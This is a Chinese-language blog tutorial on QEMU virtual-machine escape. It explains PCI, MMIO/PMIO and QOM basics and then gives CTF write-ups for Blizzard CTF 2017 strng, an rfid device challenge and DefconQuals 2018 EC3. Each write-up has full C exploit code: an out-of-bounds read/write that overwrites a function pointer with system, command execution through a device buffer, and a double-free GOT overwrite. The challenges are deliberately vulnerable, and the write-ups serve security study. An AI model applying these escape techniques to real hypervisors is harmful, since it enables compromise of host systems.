初探qemu逃逸

[toc]

常用指令

sudo uname -m  出现i686代表是32位,出现x86_64代表64位。

gcc -m32 -O0 souce_code -o bin_file   编译32位文件:

gcc -m32 -O0 -static -o souce binary

sudo scp -P[port] [filename] [hostname]@[ip]:/home/ubuntu 传到虚拟机中:

lspci -v -m -n -s 00:03.0  PCI 设备通过 VendorIDs 、 DeviceIDs 、以及 Class Codes 字段区分:
lspci -v -m -s 00:03.0

hexdump /sys/devices/pci0000\:00/0000\:00\:03.0/config  也可通过查看其 config 文件来查看设备的配置空间,数据都可以匹配上,如前两个字节 1234 为 vendor id

lspci -v -s 00:03.0 -x   查看设备内存空间:

cat /sys/devices/pci0000\:00/0000\:00\:03.0/resource  resource 文件包含其它相应空间的数据,如resource0(MMIO空间)以及resource1(PMIO空间):

分析查看的函数流程:strng_class_init->strng_instance_init->pci_strng_realize->分别却看MMIO和PMIO功能函数

cat /proc/ioports 来查看各个设备对应的I/O端口
cat /proc/iomem 查看其对应的I/O memory地址

gzip initramfs-busybox-x86_64.cpio

基础知识

前言

qemu是纯软件实现的虚拟化模拟器,几乎可以模拟任何硬件设备。我们在进行Iot研究的时候也经常用qemu来模拟固件。

正因为 Qemu 是纯软件实现的,所有的指令都要经 Qemu 过一手,性能非常低,所以,在生产环境中,大多数的做法都是配合 KVM 来完成虚拟化工作,因为 KVM 是硬件辅助的虚拟化技术,主要负责比较繁琐的CPU和内存虚拟化,而Qemu则负责I/O虚拟化,两者合作各自发挥自身的优势,相得益彰。

qemu出的问题比较多的地方都在设备模拟中。

概述

运行的每个qemu虚拟机都相应的是一个qemu进程,从本质上看,虚拟出的每个虚拟机对应 host 上的一个 qemu 进程,而虚拟机的执行线程(如 CPU 线程、I/O 线程等)对应qemu进程的一个线程。

qemu虚拟机内存所对应的真实内存结构如下:

qemu进行会为虚拟机mmap分配出相应虚拟机申请大小的内存,用于给该虚拟机当作物理内存(在虚拟机进程中只会看到虚拟地址)。

strng启动命令为:

./qemu-system-x86_64 \
-m 1G \
-device strng \
-hda my-disk.img \
-hdb my-seed.img \
-nographic \
-L pc-bios/ \
-enable-kvm \
-device e1000,netdev=net0 \
-netdev user,id=net0,hostfwd=tcp::5555-:22

qemu虚拟机对应的内存为1G,虚拟机启动后查看qemu的地址空间,可以看到存在一个大小为0x40000000内存空间,即为该虚拟机的物理内存。

那么我们在qemu申请内存空间,如何在宿主机找到这个内存呢?首先将qemu虚拟机中相应的虚拟地址转化成物理地址,该物理地址即为qemu进程为其分配出来的相应偏移,利用该地址加上偏移即是该虚拟地址对应在宿主机中的地址。

#include<stdio.h>
#include<string.h>
#include<stdint.h>
#include<stdlib.h>
#include<fcntl.h>
#include<assert.h>
#include<inttypes.h>

#define PAGE_SHIFT  12
#define PAGE_SIZE   (1<< PAGE_SHIFT)
#define PFN_PRESENT (1ull<< 63)
#define PFN_PFN     ((1ull<< 55) - 1)

int fd;

uint32_t page_offset(uint32_t addr)
{
    return addr & ((1<< PAGE_SHIFT) - 1);
}

uint64_t gva_to_gfn(void*addr)
{
    uint64_t pme, gfn;
    size_t offset;
    offset = ((uintptr_t)addr >> 9) & ~7;
    lseek(fd, offset, SEEK_SET);
    read(fd, &pme, 8);
    if(!(pme & PFN_PRESENT))
        return-1;
    gfn = pme & PFN_PFN;
    return gfn;
}

uint64_t gva_to_gpa(void*addr)
{
    uint64_t gfn = gva_to_gfn(addr);
    assert(gfn != -1);
    return(gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);
}

int main()
{
    uint8_t*ptr;
    uint64_t ptr_mem;
    fd = open("/proc/self/pagemap", O_RDONLY);
    if(fd < 0) {
        perror("open");
        exit(1);
    }

    ptr = malloc(256);
    strcpy(ptr, "Where am I?");
    printf("%s\n", ptr);
    ptr_mem = gva_to_gpa(ptr);
    printf("Your physical address is at 0x%"PRIx64"\n", ptr_mem);

    getchar();
    return 0;
}

上面我们知道了虚拟机对应的内存起始地址为0x7fdc6be00000,偏移为0x30e65008,那么这个字符串的地址是0x7fdc6be00000+0x30e65008:

PCI设备地址空间

参考

PCI设备都有一个配置空间(PCI Configuration Space),其记录了关于此设备的详细信息。大小为256字节,实际上是一组连续的寄存器,位于设备上。其中头部64字节是PCI标准规定的,当然并非所有的项都必须填充,位置是固定了,没有用到可以填充0。前16个字节的格式是一定的,包含头部的类型、设备的总类、设备的性质以及制造商等,格式如下:

剩余的部分是PCI设备自定义的。
PCI配置空间头部有6个BAR(Base Address Registers),BAR记录了设备所需要的地址空间的类型(memory space或者I/O space),基址以及其他属性。BAR的格式如下:

可以看出,设备可以申请两类地址空间,memory space和I/O space,它们用BAR的最后一位区别开来。

说到地址空间,计算机系统中,除了我们常说的memory address(包括逻辑地址、虚拟地址(线性地址)、CPU地址(物理地址)),还有I/O address,这是为了访问I/O设备(主要是设备中的寄存器)而设立的,大部分体系结构中,memory address和I/O address都是分别编址的,且使用不同的寻址指令,构成了两套地址空间,也有少数体系结构将memory address和I/O address统一编址(如ARM)。

MMIO和PMIO

MMIO(Memory mapping I/O)即内存映射I/O,它是PCI规范的一部分,I/O设备被放置在内存空间而不是I/O空间。从处理器的角度看,内存映射I/O后系统设备访问起来和内存一样。这样访问AGP/PCI-E显卡上的帧缓存,BIOS,PCI设备就可以使用读写内存一样的汇编指令完成,简化了程序设计的难度和接口的复杂性。I/O作为CPU和外设交流的一个渠道,主要分为两种,一种是Port I/O,一种是MMIO(Memory mapping I/O)。简而言之,MMIO就是通过将外围设备映射到内存空间,便于CPU的访问。

Port-mapped I/O (PMIO),端口映射IO,又叫做被隔离的I/O(isolated I/O)。端口映射I/O通常使用一种特殊的CPU指令,专门执行I/O操作。(MMIO实现了CPU容易通过内存来直接访问外设,PMIO实现了CPU如何访问外设)

qemu查看pci设备

lspci命令用于显示当前主机的所有PCI总线信息,以及所有已连接的PCI设备信息。

途中audio、LAN都是PCI设备。

pci设备的寻址是由总线、设备以及功能构成。如下所示:lspci

xx:yy:z的格式为总线:设备:功能的格式

可以使用lspci命令以树状的形式输出pci结构:lspci -t -v

查看设备详细信息: lspci -v

其中[0000]表示pci的域, PCI域最多可以承载256条总线。每条总线最多可以有32个设备,每个设备最多可以有8个功能。

总之每个 PCI 设备有一个总线号, 一个设备号, 一个功能号标识。PCI 规范允许单个系统占用多达 256 个总线, 但是因为 256 个总线对许多大系统是不够的, Linux 现在支持 PCI 域。每个 PCI 域可以占用多达 256 个总线. 每个总线占用 32 个设备, 每个设备可以是 一个多功能卡(例如一个声音设备, 带有一个附加的 CD-ROM 驱动)有最多 8 个功能。

PCI 设备通过VendorIDs、DeviceIDs、以及Class Codes字段区分:

lspci -v -m -n -s 00:03.0
lspci -v -m -s 00:03.0

查看设备内存空间:lspci -v -s 00:03.0-x

qemu访问I/O空间

存在mmio与pmio,那么在系统中该如何访问这两个空间呢?访问mmio与pmio都可以采用在内核态访问或在用户空间编程进行访问。

访问mmio编译内核模块,在内核态访问mmio空间,示例代码如下:

QOM编程模型

QEMU提供了一套面向对象编程的模型——QOM(QEMU Object Module),几乎所有的设备如CPU、内存、总线等都是利用这一面向对象的模型来实现的。

有几个比较关键的结构体,TypeInfo、TypeImpl、ObjectClass以及Object。其中ObjectClass、Object、TypeInfo定义在include/qom/object.h中,TypeImpl定义在qom/object.c中。TypeInfo是用户用来定义一个Type的数据结构,用户定义了一个TypeInfo,然后调用type_register(TypeInfo )或者type_register_static(TypeInfo )函数,就会生成相应的TypeImpl实例,将这个TypeInfo注册到全局的TypeImpl的hash表中。


structTypeInfo
{
    constchar*name;
    constchar*parent;
    size_t instance_size;
    void(*instance_init)(Object*obj);
    void(*instance_post_init)(Object*obj);
    void(*instance_finalize)(Object*obj);
    boolabstract;
    size_t class_size;
    void(*class_init)(ObjectClass*klass, void*data);
    void(*class_base_init)(ObjectClass*klass, void*data);
    void(*class_finalize)(ObjectClass*klass, void*data);
    void*class_data;
    InterfaceInfo*interfaces;
};

TypeImpl的属性与TypeInfo的属性对应,实际上qemu就是通过用户提供的TypeInfo创建的TypeImpl的对象。

当所有qemu总线、设备等的type_register_static执行完成后,即它们的TypeImpl实例创建成功后,qemu就会在type_initialize函数中去实例化其对应的ObjectClasses。

每个type都有一个相应的ObjectClass所对应,其中ObjectClass是所有类的基类。
用户可以定义自己的类,继承相应类即可:

可以看到类的定义中父类都在第一个字段,使得可以父类与子类直接实现转换。一个类初始化时会先初始化它的父类,父类初始化完成后,会将相应的字段拷贝至子类同时将子类其余字段赋值为0,再进一步赋值。同时也会继承父类相应的虚函数指针,当所有的父类都初始化结束后,TypeInfo::class_init就会调用以实现虚函数的初始化,如下例的pci_testdev_class_init所示:

Blizzard CTF 2017 Strng

注册流程&设备定位

该虚拟机是一个Ubuntu Server 14.04 LTS,用户名是ubuntu,密码是passw0rd。因为它把22端口重定向到了宿主机的5555端口,所以可以使用ssh ubuntu@127.0.0.1 -p 5555登进去。

将 qemu-system-x64_64 拖到IDA里面,程序较大,IDA需要个小一会才会分析完成。后续整个分析过程是通过IDA与源码对比查看完成,需要指出的是分析过程将IDA中将变量设置成其对应的结构体会容易看很多。

查看.sh文件中有个-device strng。之前也说过CTF QEMU题目一般问题出在device中,所以逆向分析主要就看device相关的就可以了,即搜索strng相关函数:

在之前我们知道了 pci_strng_register_types 会注册由用户提供的 TypeInfo ,查看该函数并找到了它的 TypeInfo ,跟进去看到了 strng_class_init 以及 strng_instance_init 函数。

在strng_class_init中对PCIDeviceClass结构体赋值:

可以看到 class_init 中设置其 device_id 为 0x11e9 , vendor_id 为 0x1234 。对应到上面 lspci 得到的信息,可以知道设备为 00:03.0 ,查看其详细信息:

可以看到有地址为 0xfebf1000 ,大小为256;PMIO地址为 0xc050 ,总共有8个端口。

再看看resource文件:

resource0 对应的是MMIO,而 resource1 对应的是PMIO。 resource 中数据格式是 start-address end-address flags 。

接下来我们看strng_instance_init函数:

首先看看这个STRNGState结构体:

该函数则是为 strng Object赋值了相应的函数指针值 srand 、 rand 以及 rand_r 。

然后去看 pci_strng_realize ,该函数注册了MMIO和PMIO空间,包括mmio的操作结构 strng_mmio_ops 及其大小 256 ;pmio的操作结构体 strng_pmio_ops 及其大小8。

strng_mmio_ops 中有访问mmio对应的 strng_mmio_read 以及 strng_mmio_write ; strng_pmio_ops 中有访问pmio对应的 strng_pmio_read 以及 strng_pmio_write ,下面将详细分析这两部分,一般来说,设备的问题也容易出现在这两个部分。

逆向分析

strng_mmio_read

将传入地址右移两位,作为索引返回寄存器的值

strng_mmio_write

当size为4的时候: 1.当地址右移两位后=1的时候:调用rand函数,赋值寄存器索引为1的地址 2.当地址右移两位后=3的时候:调用index为2的寄存器作为参数,调用rand_r;结果返回给index为3的寄存器。然后传入的第三个作为值赋值到regs[v4],其中v4=传入的第二个参数>>2。这样两个参数都可控,是不是我们从这里可以任意地址写入?

但是事实上是不可以的,前面已经知道了 mmio 空间大小为256,我们传入的addr是不能大于 mmio 的大小;因为pci设备内部会进行检查,而刚好 regs 的大小为256,所以我们无法通过 mmio 进行越界读写。

通过之前的分析我们知道strng有八个端口,端口起始地址是:0xc050,相应的通过strng_pmio_read和strng_pmio_write去读写
strng_pmio_read

当端口地址为0时直接返回 opaque->addr ,否则将 opaque->addr 右移两位作为索引 i ,返回 regs[i] 的值

strng_pmio_write

当size等于4的时候: 地址为0,将传入的第三个参数赋值给opaque->addr 地址不为0,将opaque->addr右移两位得到flag,分三个功能: 1.flag等于0,执行srand,不保存返回值 2.flag等于1,执行rand,返回值保存在regs[1] 3.flag等于3,调用rand_r,返回值保存在regs[3] 4.否则直接将传入的第三个参数存储在regs[flag]中

其实直接看起来好像还是可以像mmio_write一样任意地址写。但是PMIO和MMIO的区别在于索引数组的时候,PMIO并不是直接传入的端口地址检索(这样的话会检测失败),而是利用opaque->addr检索,而 opaque->addr 的赋值是我们可控的(端口地址为0时,直接将传入的 val 赋值给 opaque->addr )。因此 regs 数组的索引可以为任意值,即可以越界读写。

漏洞利用

越界读则是首先通过 strng_pmio_write 去设置 opaque->addr ,然后再调用 strng_pmio_read 去越界读。

越界写则是首先通过 strng_pmio_write 去设置 opaque->addr ,然后仍然通过 strng_pmio_write 去越界写。

接下来就要知道是怎么设置opaque->addr的:

编程访问PMIO

UAFIO描述说有三种方式访问PMIO,这里仍给出一个比较便捷的方法去访问,即通过 IN 以及 OUT 指令去访问。可以使用 IN 和 OUT 去读写相应字节的1、2、4字节数据(outb/inb, outw/inw, outl/inl),函数的头文件为 <sys/io.h>

还需要注意的是要访问相应的端口需要一定的权限,程序应使用root权限运行。对于 0x000-0x3ff 之间的端口,使用 ioperm(from, num, turn_on) 即可;对于 0x3ff 以上的端口,则该调用执行 iopl(3) 函数去允许访问所有的端口

也就是说第二个参数和第三个参数需要我们提供,第一个和第四个不需要提供。
典型代码:

uint32_t pmio_base=0xc050;
uint32_t pmio_write(uint32_t addr, uint32_t value)
{
    outl(value,addr);// 写4字节数据
}
uint32_t pmio_read(uint32_t addr)
{
    return (uint32_t)inl(addr); // 读4字节数据
}

int main(int argc, char *argv[])
{
    // Open and map I/O memory for the strng device
    if (iopl(3) !=0 )
        die("I/O permission is not enough");
    pmio_write(pmio_base+0,0);
    pmio_write(pmio_base+4,1);
}

编程访问MMIO

实现对MMIO空间的访问,比较便捷的方式就是使用 mmap 函数将设备的 resource0 文件映射到内存中,再进行相应的读写即可实现MMIO的读写,典型代码如下:

unsigned char* mmio_mem;
void mmio_write(uint32_t addr, uint32_t value)
{
    *((uint32_t*)(mmio_mem + addr)) = value;
}

uint32_t mmio_read(uint32_t addr)
{
    return *((uint32_t*)(mmio_mem + addr));
}

int main(int argc, char *argv[])
{

    // Open and map I/O memory for the strng device
    int mmio_fd = open("/sys/devices/pci0000:00/0000:00:03.0/resource0", O_RDWR | O_SYNC);
    if (mmio_fd == -1)
        die("mmio_fd open failed");
    mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
    if (mmio_mem == MAP_FAILED)
        die("mmap mmio_mem failed");
}

越界读写逻辑

1.越界读:首先使用 strng_pmio_write 设置 opaque->addr ,即当传入的addr 为0时,传入的 val 会直接赋值给 opaque->addr ;然后再调用 strng_pmio_read ,传入的addr参数等于4就会去读 regs[val>>2] (这里的val>>2实际上是由于位数的关系,实际上就是正常读这个位置的值)的值,实现越界读,代码如下:

uint32_t pmio_arbread(uint32_t offset)
{
    pmio_write(pmio_base+0,offset);// pmio_base+0 = opaque->address
    return pmio_read(pmio_base+4); // pmio_base+5 是opaque->regs位置
}

2.越界写:仍然是首先使用 strng_pmio_write 设置 opaque->addr ,即当 addr 为0时,传入的 val 会直接赋值给 opaque->addr ;然后调用 strng_pmio_write ,并设置传入的addr 为4,即会去将此次传入的 val 写入到 regs[opaque->addr>>2] 中,实现越界写,代码如下:

uint32_t pmio_arbwrite(uint32_t offset,uint32_t value){
    pmio_write(pmio_base+0,offset)
    pmio_write(pmio_base+4,value)
}

完整思路

第一步:使用 strng_mmio_write 将 cat /root/flag 写入到 regs[2] 开始的内存处,用于后续作为参数。
第二步:使用越界读漏洞,读取 regs 数组后面的 srand 地址,根据偏移计算出 system 地址。
第三步:使用越界写漏洞,覆盖 regs 数组后面的 rand_r 地址,将其覆盖为 system 地址。
第四步:最后使用 strng_mmio_write 触发执行 opaque->rand_r(&opaque->regs[2]) 函数,从而实现 system(“cat /root/flag”) 的调用,拿到flag。

调试

写exp调试的时候发现执行中,我们原先写入的regs[2]的值被改了,那么我们需要重新写一次

exp

#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/io.h>

unsigned char *mmio_mem;
uint32_t pmio_addr = 0xc050; // I/O port

void exit0(const char* msg)
{
    perror(msg);
    exit(-1);
}
void mmio_write(uint32_t offset,uint32_t value){
    *((uint32_t *)(mmio_mem+offset)) = value;
} 
uint32_t mmio_read(uint32_t offset){
    return *((uint32_t *)(mmio_mem+offset));
}
void pmio_write(uint32_t addr,uint32_t value){
    outl(value,addr); // write 4 byte
}
uint32_t pmio_read(uint32_t addr){
    return (uint32_t)inl(addr);
}
uint32_t pmio_arbread(uint32_t addr){
    pmio_write(pmio_addr+0,addr);
    return pmio_read(pmio_addr+4);
}
void pmio_arbwrite(uint32_t addr,uint32_t value){
    pmio_write(pmio_addr+0,addr);
    pmio_write(pmio_addr+4,value);
}

int main(){
    // open and map I/O memory
    int mmio_fd = open("/sys/devices/pci0000:00/0000:00:03.0/resource0", O_RDWR | O_SYNC);
    if(mmio_fd == -1){
        exit0("mopen failed");
    }
    mmio_mem = mmap(0,0x1000,PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
    if(mmio_mem == MAP_FAILED){
        exit0("mmap failed");
    }
    printf("[+] mmio_mem address ==> %p\n",mmio_mem);

    // read "cat /root/flag" in argv[2]
    mmio_write(8,0x20746163);
    mmio_write(12,0x6f6f722f);
    mmio_write(16,0x6c662f74);
    mmio_write(20,0x6761);


    // Open and map I/O memory for the strng device
    if(iopl(3)!=0){
        exit0("fail");
    }

    // leaking libc address
    uint64_t srand_addr_part1 = pmio_arbread(0x104);
    uint64_t srand_addr_part2 = pmio_arbread(0x108);
    uint64_t srand_addr = (srand_addr_part2<<32)+srand_addr_part1;
    uint64_t system_addr = srand_addr-0x7f51a3604740+0x7f51a360f410;
    printf("[+]srand addr==> 0x%llx",srand_addr);
    printf("[+]system addr==> 0x%llx",system_addr);

    // hijacking rand function
    getchar();
    pmio_arbwrite(0x114,system_addr&0xffffffff);
    mmio_write(8,0x20746163);
    mmio_write(0xc,0);
    // getchar();


}

数字经济线下赛-qemu逃逸

启动文件分析

#! /bin/sh
./qemu-system-x86_64 \
-initrd ./initramfs.cpio \
-kernel ./vmlinuz-4.8.0-52-generic \
-append 'console=ttyS0 root=/dev/ram oops=panic panic=1' \
-monitor /dev/null \
-m 64M --nographic \
-L pc-bios \
-device rfid,id=vda \

根据之前的经验,可能也是加载的设备驱动有问题,那么我们逆向分析的时候还是看相关函数

首先运行qemu,root就直接进去了。

IDA逆向

根据之前strng的分析可以分别逆向出rfid_realize、rfid_instance_init、rfid_class_init函数。找到ops位置,分别定义read和write函数。

read函数:

__int64 __fastcall rfid_mmio_read(__int64 a1, unsigned __int64 a2)
{
  size_t v2; // rax

  if ( ((a2 >> 20) & 0xF) != 0xF )
  {
    v2 = strlen(off_10CC100);
    if ( !memcmp(input_str, off_10CC100, v2) )  // 比较输入的和wwssadadBABA字符串
      system(command);                          // 相等则进行命令执行
  }
  return 270438LL;
}

实际上就是比对输入字符串,并进行命令执行,那么我们再看看另一个函数write

_BYTE *__fastcall rfid_mmio_write(__int64 a1, unsigned __int64 a2, __int64 a3, unsigned int a4)
{
  _BYTE *result; // rax
  _DWORD n[3]; // [rsp+4h] [rbp-3Ch] BYREF
  unsigned __int64 v6; // [rsp+10h] [rbp-30h]
  __int64 v7; // [rsp+18h] [rbp-28h]
  int v8; // [rsp+2Ch] [rbp-14h]
  int v9; // [rsp+30h] [rbp-10h]
  int v10; // [rsp+34h] [rbp-Ch]
  __int64 v11; // [rsp+38h] [rbp-8h]
  v7 = a1;
  v6 = a2;
  *(_QWORD *)&n[1] = a3;
  v11 = a1;
  v8 = (a2 >> 20) & 0xF;
  v9 = (a2 >> 16) & 0xF;
  result = (_BYTE *)((a2 >> 20) & 0xF);
  switch ( (unsigned __int64)result )
  {
    case 0uLL:
      result = input_str;
      input_str[v9] = 'w';
      break;
    case 1uLL:
      result = input_str;
      input_str[v9] = 's';
      break;
    case 2uLL:
      result = input_str;
      input_str[v9] = 'a';
      break;
    case 3uLL:
      result = input_str;
      input_str[v9] = 'd';
      break;
    case 4uLL:
      result = input_str;
      input_str[v9] = 'A';
      break;
    case 5uLL:
      result = input_str;
      input_str[v9] = 'B';
      break;
    case 6uLL:
      v10 = (unsigned __int16)v6;
      result = memcpy(&command[(unsigned __int16)v6], &n[1], a4);
      break;
    default:
      return result;
  }
  return result;
}

我们可以看到无论是比对的字符串,还是命令执行的字符串我们都可以控制。

基本思路就是输入对应的字符串,进行命令执行,还要传入命令执行字符串,这里选择弹计算器“gnome-calculator”。

exp

#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/io.h>

unsigned char *mmio_mem;

void mmio_write(uint64_t choice,uint64_t index,uint64_t chr){
    uint64_t offset = ((choice & 0xf)<<20);
    uint64_t value = 0;
    offset = offset + ((index&0xf)<<16);
    if(choice == 6){
        value = chr;
        offset = index;
        offset = offset + ((choice&0xf)<<20);
    }
    *((uint64_t *)(mmio_mem+offset)) = value;
} 

uint64_t mmio_read(uint64_t offset){
    return *((uint64_t *)(mmio_mem+offset));
}

void exit0(const char* msg)
{
    perror(msg);
    exit(-1);
}

int main(){
    int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
    if(mmio_fd == -1){
        exit0("mopen failed");
    }
    mmio_mem = mmap(0,0x1000000,PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
    if(mmio_mem == MAP_FAILED){
        exit0("mmap failed");
    }
    printf("[+] mmio_mem address ==> %p\n",mmio_mem);

    // test echo "hello"
    // mmio_write(6,0,0x65);
    // mmio_write(6,1,0x63);
    // mmio_write(6,2,0x68);
    // mmio_write(6,3,0x6f);
    // mmio_write(6,4,0x20);
    // mmio_write(6,5,0x22);
    // mmio_write(6,6,0x68);
    // mmio_write(6,7,0x65);
    // mmio_write(6,8,0x6c);
    // mmio_write(6,9,0x6c);
    // mmio_write(6,10,0x6f);
    // mmio_write(6,11,0x22);

    // write command "gnome-calculator"
    mmio_write(6,0,0x67);
    mmio_write(6,1,0x6e);
    mmio_write(6,2,0x6f);
    mmio_write(6,3,0x6d);
    mmio_write(6,4,0x65);
    mmio_write(6,5,0x2d);
    mmio_write(6,6,0x63);
    mmio_write(6,7,0x61);
    mmio_write(6,8,0x6c);
    mmio_write(6,9,0x63);
    mmio_write(6,10,0x75);
    mmio_write(6,11,0x6c);
    mmio_write(6,12,0x61);
    mmio_write(6,13,0x74);
    mmio_write(6,14,0x6f);
    mmio_write(6,15,0x72);

    // compare str "wwssadadBABA"
    mmio_write(0,0,0); // w
    mmio_write(0,1,0); // w
    mmio_write(1,2,0); // s
    mmio_write(1,3,0); // s
    mmio_write(2,4,0); // a
    mmio_write(3,5,0); // d
    mmio_write(2,6,0); // a
    mmio_write(3,7,0); // d
    mmio_write(5,8,0); // B
    mmio_write(4,9,0); // A
    mmio_write(5,10,0); // B
    mmio_write(4,11,0); // A

    mmio_read(1<<20);  // exec

    return 0;
}

写exp过程中由于mmap映射空间不够导致segment fault。

DefconQuals-2018-EC3

运行问题排除

首先这个qemu需要在ubuntu18.04环境下运行,缺少更多的库。在18.04下运行需要安装这些库:

libiscsi:

git clone https://github.com/sahlberg/libiscsi.git 
./autogen.sh 
./configure 
make 
sudo make install 
cp /usr/lib/x86_64-linux-gnu/libiscsi.so.7 /lib/libiscsi.so.2

安装libtool和libsysfs-dev:

sudo apt-get install libtool 
sudo apt-get install libsysfs-dev

安装libpng12:

sudo wget -O /tmp/libpng12.deb http://mirrors.kernel.org/ubuntu/pool/main/libp/libpng/libpng12-0_1.2.54-1ubuntu1_amd64.deb 
sudo dpkg -i /tmp/libpng12.deb 
sudo rm /tmp/libpng12.deb

安裝 libxen4.6

sudo wget -O /tmp/libxen.deb http://mirrors.kernel.org/ubuntu/pool/main/x/xen/libxen-4.6_4.6.5-0ubuntu1.4_amd64.deb 
sudo dpkg -i /tmp/libxen.deb 
sudo rm /tmp/libxen.deb 

逆向分析

根据之前的经验很容易找到相关的驱动函数,在这道题里面,重要的就是mmio_write和mmio_read函数:

ooo_mmio_read函数:

__int64 __fastcall ooo_mmio_read(__int64 a1, int a2, unsigned int a3)
{
  signed int v4; // [rsp+34h] [rbp-1Ch]
  __int64 dest[3]; // [rsp+38h] [rbp-18h] BYREF

  dest[2] = __readfsqword(0x28u);
  dest[1] = a1;
  dest[0] = 0x42069LL;
  v4 = (a2 & 0xF0000u) >> 16;
  if ( (a2 & 0xF00000u) >> 20 != 15 && *(&bss_qword_1317940 + v4) )
    memcpy(dest, (char *)*(&bss_qword_1317940 + v4) + (__int16)a2, a3);
  return dest[0];
}

ooo_mmio_write函数:

void __fastcall ooo_mmio_write(__int64 a1, __int64 a2, __int64 value, unsigned int a4)
{
  _DWORD value_n[3]; // [rsp+4h] [rbp-3Ch] BYREF
  __int64 v5; // [rsp+10h] [rbp-30h]
  __int64 v6; // [rsp+18h] [rbp-28h]
  __int16 v7; // [rsp+22h] [rbp-1Eh]
  int i; // [rsp+24h] [rbp-1Ch]
  unsigned int v9; // [rsp+28h] [rbp-18h]
  unsigned int v10; // [rsp+2Ch] [rbp-14h]
  unsigned int v11; // [rsp+34h] [rbp-Ch]
  __int64 v12; // [rsp+38h] [rbp-8h]

  v6 = a1;
  v5 = a2;
  *(_QWORD *)&value_n[1] = value;
  v12 = a1;
  v9 = ((unsigned int)a2 & 0xF00000) >> 20;
  switch ( v9 )
  {
    case 1u:                                    // double free???
      free(*(&bss_qword_1317940 + (((unsigned int)v5 & 0xF0000) >> 16)));
      break;
    case 2u:                                    // write value
      v11 = ((unsigned int)v5 & 0xF0000) >> 16;
      v7 = v5;
      memcpy((char *)*(&bss_qword_1317940 + (int)v11) + (__int16)v5, &value_n[1], a4);
      break;
    case 0u:                                    // malloc
      v10 = ((unsigned int)v5 & 0xF0000) >> 16; // index
      if ( v10 == 0xF )
      {
        for ( i = 0; i <= 14; ++i )
          *(&bss_qword_1317940 + i) = malloc(8LL * *(_QWORD *)&value_n[1]);
      }
      else
      {
        *(&bss_qword_1317940 + (int)v10) = malloc(8LL * *(_QWORD *)&value_n[1]);
      }
      break;
  }
}

跟上面的题类似,通过对参数进行计算作为cmd选择,

cmd为0:malloc(传入的value)
cmd为1:释放buf[index] chunk
cmd为2:将value写入*buf[index]+offset

很明显的UAF漏洞

还有一个后门函数:backdoor有system(“cat ./flag”)

unsigned __int64 __fastcall backdoor(__int64 a1)
{
  unsigned int v1; // eax
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  v1 = system("cat ./flag");
  printf("%d\n", v1);
  sub_999B79(a1 + 2520, "hw/misc/oooverflow.c", 302LL);
  *(_BYTE *)(a1 + 2624) = 1;
  sub_999C8A(a1 + 2520, "hw/misc/oooverflow.c", 304LL);
  sub_999E2D(a1 + 2568);
  sub_99A8FD(a1 + 2512);
  sub_999DCD(a1 + 2568);
  sub_999B19(a1 + 2520);
  sub_994A52(a1 + 2680);
  return __readfsqword(0x28u) ^ v3;
}

那么很容易反应过来是劫持函数了,再看看保护机制确认无疑了

利用思路

容易想到的是劫持got表为backdoor,调用后拿到flag

调试&exp

2.27环境下double free劫持got表,难度不大,写exp遇到些问题,主要就是c定义的变量类型有问题

#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/io.h>

unsigned char *mmio_mem;

uint64_t mmio_read(uint32_t offset){
    return *((uint32_t*)(mmio_mem+offset));
}

void mmio_write(uint64_t offset,uint64_t value){
    *((uint32_t*)(mmio_mem+offset)) = value;
}


void mmio_malloc(uint8_t index,uint32_t size){
    uint32_t offset = (index<<16)|(0<<20);
    uint32_t value = size/8;
    mmio_write(offset,value);
}

void mmio_free(uint8_t index){
    uint64_t offset = 0x100000;
    offset+= index<<16;
    uint64_t value = 0;
    mmio_write(offset,value);
}

void mmio_edit(uint64_t index,uint16_t offset1,uint64_t value){
    uint64_t offset = 0x200000;
    offset+= index<<16;
    offset+= offset1;
    mmio_write(offset,value);
}

void exit0(const char* msg){
    perror(msg);
    exit(-1);
}

int main(){
    int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
    if(mmio_fd == -1){
        exit0("mopen failed");
    }
    mmio_mem = mmap(0,0x1000000,PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
    if(mmio_mem == MAP_FAILED){
        exit0("mmap failed");
    }
    printf("[+] mmio_mem address ==> %p\n",mmio_mem);

    uint32_t backdoor_addr = 0x6E65F9;
    uint32_t free_got = 0x11301a0;
    mmio_malloc(0,0x360);
    mmio_malloc(1,0x360);
    // mmio_malloc(2,0x60);
    mmio_edit(0,0,0xdeadbeef);
    mmio_free(0);
    mmio_free(0);
    mmio_free(0);
    mmio_free(0);
    mmio_edit(0,0,free_got);
    mmio_edit(0,4,0);
    getchar();
    mmio_malloc(2,0x360);
    mmio_malloc(3,0x360);
    mmio_edit(3,0,backdoor_addr);
    mmio_edit(3,4,0);


    mmio_free(1);
    return 0;
}

  Reprint policy: xiaoxin 初探qemu逃逸

 Previous
CVE-2015-4852及前置知识fava反序列化CC1利用链 CVE-2015-4852及前置知识fava反序列化CC1利用链
环境搭建WebLogic是美商Oracle的主要产品之一,系购并得来。是商业市场上主要的Java应用服务器软件之一,是世界上第一个成功商业化的J2EE应用服务器 搭建环境相比较之前的服务器更加复杂 安装weblogic参考 下载Weblog
Next 
java反序列化总结 java反序列化总结
前言本篇文章初步学习java反序列化以及反序列化利用需要掌握的java反射机制,文章内容借鉴多篇前人文章,总结仅供学习和参考 java反序列化入门(一)初识JAVA反序列化漏洞0x0 java序列化与反序列化0x00 简单介绍Java 序列
  TOC